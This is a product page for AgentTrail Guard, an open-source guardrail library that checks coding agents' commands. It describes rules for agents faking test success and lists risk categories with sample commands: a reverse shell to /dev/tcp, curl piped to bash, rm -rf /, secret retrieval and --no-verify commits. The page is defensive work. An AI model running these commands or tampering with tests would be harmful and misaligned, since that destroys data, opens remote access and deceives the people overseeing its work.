test-integrity pack

Test tampering guardrails

These rules notice a coding agent making the work look successful instead of making it work: deleting a failing test, editing the runner or coverage config, accepting every snapshot with jest -u, or committing with [skip ci]. Deleting a test or editing a runner config asks you first. The other four let the command run and log a warning, since regenerating snapshots or skipping coverage is often ordinary work.

Rules
6
Block
0
Ask first
2
Warn
4

What each rule catches

Every rule below is open source and tested against the commands it must catch and the near-misses it must leave alone. Open one for its full description, every example, and how to change what it does.

Other kinds of risk

The library files every rule by the harm it prevents. See all of them on one page, or check a command against every rule at once.

Destroying uncommitted work or published history.

$ git reset --hard

Data git cannot bring back: a dropped volume, a dropped database, destructive DDL, a deleted shadow copy.

$ rm -rf /

Changing running infrastructure: Terraform, Kubernetes, Helm, cloud deletes, a deploy that names production.

$ terraform apply -auto-approve

Credentials and sensitive data leaving where they live. Mostly warnings: reading a secret is a normal part of a normal day.

$ aws secretsmanager get-secret-value --secret-id prod/db

Running code nobody reviewed: pipe-to-shell, a remote runner, a redirected registry, TLS verification off.

$ bash -c "$(curl -fsSL https://example.com/i.sh)"

Turning off a check somebody installed on purpose, or erasing the record of it: skipped hooks, admin merges, purged history.

$ git commit --no-verify -m "wip"

Gaining reach or handing it out: sudo writes, wide-open permissions, IAM grants, persistence, publishing, new dependencies.

$ echo '127.0.0.1 x' | sudo tee -a /etc/hosts

Writing somewhere the agent has no business writing: its own config, the machine, git's internals, the CI definition.

› .claude/settings.json

The agent changing what it is or what it knows: its instructions, memory, skills and MCP servers, or starting more agents.

› CLAUDE.md

Moving data off the machine or opening a way in: a reverse shell, a public tunnel, a file upload, a paste service.

$ bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

Put these guardrails in front of your agent.

AgentTrail Guard is free and open source. It checks every command and file change against the whole library before your agent runs it, on your machine, with no account.

bash
$npm i -g @agenttrail/guard
Read the source on GitHub